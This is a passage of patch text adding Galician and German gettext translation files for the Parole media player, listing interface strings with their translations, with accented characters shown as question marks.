+msgid "Parole Media Player"
+msgstr "Reprodutor multimedia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Engadidos"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Cap?tulo anterior"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "Repetir"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Select Track"
+msgstr "Escoller pista"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Shuffle"
+msgstr "Aleatorio"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Cadrado"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Baixar o volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Subir o volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_Editar"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "A_xuda"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_Soportes"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ver"
+
+#: ../data/interfaces/parole.ui.h:27
+#, fuzzy
+msgid "gtk-leave-fullscreen"
+msgstr "Sa?r do modo de pantalla completa"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor?a:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Descrici?n:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Sitio:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Preferencias dos engadidos de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+#, fuzzy
+msgid "gtk-close"
+msgstr "Pechar composici?n"
+
+#: ../data/interfaces/plugins.ui.h:6
+#, fuzzy
+msgid "gtk-properties"
+msgstr "Propiedades do men?"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Son</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+#, fuzzy
+msgid "<b>Display</b>"
+msgstr "<b>Mostrar</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Subt?tulos</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr ""
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Brillo:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+#, fuzzy
+msgid "Enable visualization when playing audio file"
+msgstr "Mostrar os efectos visuais cando se reproduza un ficheiro s? de son."
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Codificaci?n: "
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Tipo de letra:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+#, fuzzy
+msgid "Hue:"
+msgstr "Tinte:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Reprodutor de m?sica Banshee"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Axustes de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Restablecer as predefinici?ns"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturaci?n:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+#, fuzzy
+msgid "Visualization type:"
+msgstr "Tipo de borrado"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Por extensi?n"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr ""
+
+#: ../parole/main.c:52
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+
+#: ../parole/main.c:156
+#, fuzzy
+msgid "Open a new instance"
+msgstr "Abrir un separador novo"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Informaci?n de versi?n"
+
+#: ../parole/main.c:158
+#, fuzzy
+msgid "Media to play"
+msgstr "URI para reproducir"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+
+#: ../parole/parole-gst.c:1289
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is tacking too much time to load"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Deter"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Engadir ficheiros ao proxecto"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Engadir"
+
+#: ../parole/parole-medialist.c:432
+msgid "Error saving playlist file"
+msgstr "Erro ao gardar o ficheiro de lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permiso denegado"
+
+#: ../parole/parole-medialist.c:441
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Comentar ou descomentar en _fluxo"
+
+#: ../parole/parole-medialist.c:538
+#, fuzzy
+msgid "Shareable Playlist"
+msgstr "Lista de reproduci?n XML compart?bel"
+
+#: ../parole/parole-medialist.c:853
+#, fuzzy
+msgid "Remember playlist"
+msgstr "Eliminar a lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Lista de vari?beis"
+
+#: ../parole/parole-player.c:297
+#, fuzzy
+msgid "Show playlist"
+msgstr "Amosar a a lista de re_produci?n"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "A canci?n actual non se pode buscar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Seguinte pista"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Pista anterior"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Almacenando no b?fer"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Detido"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Finalizado"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pausado"
+
+#: ../parole/parole-statusbar.c:117
+#, fuzzy
+msgid "Live stream:"
+msgstr "Fluxo desco?ecido"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Son"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "V?deo"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Son e v?deo"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Pechar todos os ficheiros"
+
+#: ../parole/parole-filters.c:127
+#, fuzzy
+msgid "Playlist files"
+msgstr "Todos os ficheros"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Mantedor"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Tradutor (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Reproducir o disco '%s'"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Configuraci?n rexional actual"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "?rabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenio"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "B?ltico"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celta"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Centroeuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chin?s simplificado"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chin?s tradicional"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croata"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cir?lico"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cir?lico/Ruso"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cir?lico/Ucra?no"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Xeorxiano"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grego"
+
+#: ../parole/parole-subtitle-encoding.c:249
+#, fuzzy
+msgid "Gujarati"
+msgstr "Guxarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+#, fuzzy
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebreo"
+
+#: ../parole/parole-subtitle-encoding.c:264
+#, fuzzy
+msgid "Hebrew Visual"
+msgstr "Hebreo visual"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Island?s"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Xapon?s"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Coreano"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "N?rdico"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persa"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roman?s"
+
+#: ../parole/parole-subtitle-encoding.c:300
+#, fuzzy
+msgid "South European"
+msgstr "Sureuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tailand?s"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turco"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occidental"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamita"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Abrir localizaci?n..."
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr ""
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Limpar o historial"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "A reproducir a pista"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Pista %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visitar o sitio web"
+
+#: ../parole/parole-plugins-manager.c:285
+#, fuzzy
+msgid "Visite Website"
+msgstr "P?xina web de Banshee"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Desco?ecido"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "T?tulo:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artista:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "?lbum:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ano:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Xeral"
+
+#: ../plugins/properties/stream-properties.c:354
+#, fuzzy
+msgid "Stream doesn't support tags changes"
+msgstr "O fluxo non soporta query_info"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Non se poden gardar as modificaci?ns na conta."
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propiedades"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Propiedades do elemento de men?"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Reproducindo:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Duraci?n:</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
+msgid "Tray icon plugin"
+msgstr "Icona de estado:"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activar as notificaci?ns"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Icona de estado:"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+msgid "Show icon in the system tray"
+msgstr "Mostrar a icona na ?rea de notificaci?n"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "T?tulo da fiestra"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+
--
cgit v0.8.2.1

parole-0.1.90-include-german-translation.patch:
 LINGUAS |    2 
 de.po   |  751 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 751 insertions(+), 2 deletions(-)

--- NEW FILE parole-0.1.90-include-german-translation.patch ---
>From c30195f5b7d372f207d039b07d348d795886d926 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 08:35:21 +0000
Subject: Added German transaltion

---
diff --git a/po/LINGUAS b/po/LINGUAS
index 97fa9f4..78da3e1 100644
--- a/po/LINGUAS
+++ b/po/LINGUAS
@@ -1,2 +1,2 @@
 # set of available languages (in alphabetic order)
-ast da es id ja ru sk tr uk
+ast da de es fr id ja ru sk tr uk
diff --git a/po/de.po b/po/de.po
new file mode 100644
index 0000000..35832c6
--- a/dev/null
+++ b/po/de.po
@@ -0,0 +1,750 @@
+# German translation of Parole.
+# Copyright (C) 2009 Parole's COPYRIGHT HOLDER
+# This file is distributed under the same license as the Parole package.
+# Mario Bl?ttermann <mariobl at gnome.org>, 2009.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: parole master\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
+"PO-Revision-Date: 2009-10-06 22:56+0100\n"
+"Last-Translator: Mario Bl?ttermann <mariobl at gnome.org>\n"
+"Language-Team: German <gnome-de at gnome.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1)\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Breitbild)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Seitenverh?ltnis"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Automatisch"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Kapitelmen?"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "DVD-Men?"
+
+#: ../data/interfaces/parole.ui.h:8
+msgid "Media player"
+msgstr "Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Mute"
+msgstr "Stumm"
+
+#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "N?chstes Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:11
+msgid "None"
+msgstr "Kein"
+
+#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Parole Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:13
+msgid "Plugins"
+msgstr "Plugins"
+
+#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Vorheriges Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:15
+msgid "Repeat"
+msgstr "Endlosschleife"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Select Track"
+msgstr "Titel ausw?hlen"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Shuffle"
+msgstr "Zufallsmodus"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Sound"
+msgstr "Sound"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Square"
+msgstr "Quadratisch"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Volume Down"
+msgstr "Leiser"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Up"
+msgstr "Lauter"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "_Edit"
+msgstr "_Bearbeiten"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Help"
+msgstr "_Hilfe"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Media"
+msgstr "_Medien"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Ort ?ffnen"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ansicht"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Beschreibung:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Seite:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr "Aktiviert"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "Media Player plugins"
+msgstr "Medien-Abspieler-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "Parole Plugins"
+msgstr "Parole-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Anzeige</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Untertitel</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Untertitel automatisch laden, wenn ein Film wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Helligkeit:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Kontrast:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Visuelle Effekte anzeigen, wenn eine Audio-Datei wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Kodierung:"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Schrift:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Farbton:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+msgid "Media Player Settings"
+msgstr "Medien-Abspieler-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Parole-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Auf Vorgaben zur?cksetzen"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "S?ttigung:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Visualisierungstyp:"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Nach Dateierweiterung"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "Dateitypen ausw?hlen (nach Erweiterung)"
+
+#: ../parole/main.c:53
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Parole Medien-Abspieler %s\n"
+"\n"
+"Teil des Projekts Xfce-Goodies\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Lizensiert unter der GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:184
+msgid "Open a new instance"
+msgstr "Eine neue Instanz ?ffnen"
+
+#: ../parole/main.c:185
+msgid "Play or pause if already playing"
+msgstr "Wiedergabe (oder Pause, falls Wiedergabe l?uft)"
+
+#: ../parole/main.c:186
+msgid "Stop playing"
+msgstr "Wiedergabe anhalten"
+
+#: ../parole/main.c:187
+msgid "Next track"
+msgstr "Nachfolgender Titel"
+
+#: ../parole/main.c:188
+msgid "Previous track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/main.c:189
+msgid "Seek forward"
+msgstr "Vorspulen"
+
+#: ../parole/main.c:190
+msgid "Seek Backward"
+msgstr "Zur?ckspulen"
+
+#: ../parole/main.c:191
+msgid "Raise volume"
+msgstr "Lautst?rke erh?hen"
+
+#: ../parole/main.c:192
+msgid "Lower volume"
+msgstr "Lautst?rke senken"
+
+#: ../parole/main.c:193
+msgid "Mute volume"
+msgstr "Stummschalten"
+
+#: ../parole/main.c:194
+msgid "Version information"
+msgstr "Versionsinformation"
+
+#: ../parole/main.c:196
+msgid "Media to play"
+msgstr "Medien zum Abspielen"
+
+#: ../parole/main.c:231
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+"Parole l?uft bereits, verwenden Sie -i, um eine neue Instanz zu ?ffnen\n"
+
+#: ../parole/parole-gst.c:1289
+msgid ""
+"Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Playbin-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Video-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is taking too much time to load"
+msgstr "Der Stream ben?tigt zu viel Zeit zum Laden"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Stop"
+
+#: ../parole/parole-mediachooser.c:155
+msgid "Add media files"
+msgstr "Mediendateien hinzuf?gen"
+
+#: ../parole/parole-mediachooser.c:174
+msgid "Add"
+msgstr "Hinzuf?gen"
+
+#: ../parole/parole-medialist.c:445
+msgid "Error saving playlist file"
+msgstr "Fehler beim Speichern der Wiedergabelistendatei"
+
+#: ../parole/parole-medialist.c:445
+msgid "Permission denied"
+msgstr "Erlaubnis verweigert"
+
+#: ../parole/parole-medialist.c:454
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+"Unbekanntes Wiedergabelistenformat, bitte w?hlen Sie ein unterst?tztes Format"
+
+#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+msgid "Playlist"
+msgstr "Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:527
+msgid "M3U Playlists"
+msgstr "M3U-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:535
+msgid "PLS Playlists"
+msgstr "PLS-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:543
+msgid "Advanced Stream Redirector"
+msgstr "Advanced Stream Redirector"
+
+#: ../parole/parole-medialist.c:551
+msgid "Shareable Playlist"
+msgstr "Gemeinsame Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:866
+msgid "Remember playlist"
+msgstr "Wiedergabeliste speichern"
+
+#: ../parole/parole-medialist.c:1016
+msgid "Media list"
+msgstr "Medienliste"
+
+#: ../parole/parole-player.c:297
+msgid "Hide playlist"
+msgstr "Wiedergabeliste verbergen"
+
+#: ../parole/parole-player.c:306
+msgid "Show playlist"
+msgstr "Wiedergabeliste anzeigen"
+
+#: ../parole/parole-player.c:521
+msgid "Media stream is not seekable"
+msgstr "Medien-Stream ist nicht durchsuchbar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Nachfolgender Titel"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Puffervorgang"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Angehalten"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Beendet"
+
+#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pause"
+
+#: ../parole/parole-statusbar.c:88
